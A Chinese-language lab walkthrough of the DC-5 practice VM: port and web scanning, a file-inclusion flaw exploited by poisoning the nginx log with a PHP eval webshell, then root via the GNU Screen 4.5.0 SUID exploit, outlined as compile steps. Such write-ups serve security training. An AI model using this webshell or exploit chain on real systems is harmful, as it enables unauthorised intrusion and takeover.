攻击机(kali):192.168.1.8
靶场机(DC5):192.168.1.9
一,信息收集
1,使用nmap进行全扫描
nmap -A -P0 -p- -sS -T4 192.168.1.9 -oN nmap.A
扫描结果:
──(root💀kali)-[~]
└─# nmap -A -P0 -p- -sS -T4 192.168.1.9 -oN nmap.A
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-09-17 11:09 EDT
Nmap scan report for localhost (192.168.1.9)
Host is up (0.00070s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.6.2
|_http-server-header: nginx/1.6.2
|_http-title: Welcome
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 46085/tcp status
| 100024 1 47826/tcp6 status
| 100024 1 59539/udp6 status
|_ 100024 1 60843/udp status
46085/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:7D:8B:FA (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hopTRACEROUTE
HOP RTT ADDRESS
1 0.70 ms localhost (192.168.1.9)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.76 seconds
2,浏览器访问web页面
3,wappalyzer报告
4,nikto报告
扫描结果:
┌──(root💀kali)-[~]
└─# nikto -h http://192.168.1.9
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.1.9
+ Target Hostname: 192.168.1.9
+ Target Port: 80
+ Start Time: 2022-09-17 11:17:35 (GMT-4)
---------------------------------------------------------------------------
+ Server: nginx/1.6.2
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ 7915 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time: 2022-09-17 11:17:47 (GMT-4) (12 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
5.目录扫描dirb
扫描结果:
──(root💀kali)-[~]
└─# dirb http://192.168.1.9-----------------
DIRB v2.22
By The Dark Raver
-----------------START_TIME: Sat Sep 17 11:19:03 2022
URL_BASE: http://192.168.1.9/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.1.9/ ----
==> DIRECTORY: http://192.168.1.9/css/
==> DIRECTORY: http://192.168.1.9/images/
+ http://192.168.1.9/index.php (CODE:200|SIZE:4025)
---- Entering directory: http://192.168.1.9/css/ ----
---- Entering directory: http://192.168.1.9/images/ ----
-----------------
END_TIME: Sat Sep 17 11:19:10 2022
DOWNLOADED: 13836 - FOUND: 1
收集到的信息:
开放端口:80,111,46085
MAC地址:00:0C:29:7D:8B:FA
服务器系统版本:Linux3.2-4.9
web服务器:nginx 1.6.2
编程语言:php
二,查找漏洞
使用dirsearch进行敏感目录扫描
dirsearch -u "http://192.168.1.9:80"
扫描结果
由以上可知道thankkyou.php调用footer.php,可能存在文件包含漏洞。
使用BP进行爆破出参数是file。
疑问:为什么要等于index.php。
三,获取webshell
由上可以知道web服务器是nginx1.6.2,客户端向nginx服务器发送的每一条请求都会记录在访问日志上(客户端IP,浏览器信息,referer,请求处理时间,请求URL等都可以在访问日志中得到)。
访问日志的位置:/var/log/nginx/access.log。
可以把一句话木马写到error.log上。
使用中国蚂蚁剑进行链接
一句话代码有问题
链接成功,一句话木马之前没写file参数。
正确的是:file=<?php @eval($_POST[987])?>
上传路径是:http://192.168.1.9/thankyou.php?file=/var/log/nginx/error.log
四,提升权限
1,反弹shelll
2,提权
查看有suid的文件夹
find / -perm -u=s -type f 2>/dev/null
其中有个/bin/screen-4.5.0。
GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。
GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。
在kail中搜索该漏洞
发现由2个漏洞,使用第一个漏洞。
复制漏洞并查看
创建脚本
1,vim libhax.c
2,gcc -fPIC -shared -ldl -o libhax.so libhax.c
3,rm -f libhax.c
4,vim rootshell.c
5,gcc -o rootshell rootshell.c
6,rm -f rootshell.c
7,vim dc5.sh
先创建一个DC5文件夹,放这3个脚本
编辑第一个文件libhax
编辑第二个文件rootshell
最后编辑dc5.sh
将这3个文件上传到tmp文件夹中(根目录下的tmp)
在kali的反弹shell上给dc5.sh添加权限并运行该脚本获得root权限
cd 到root目录拿到flag文件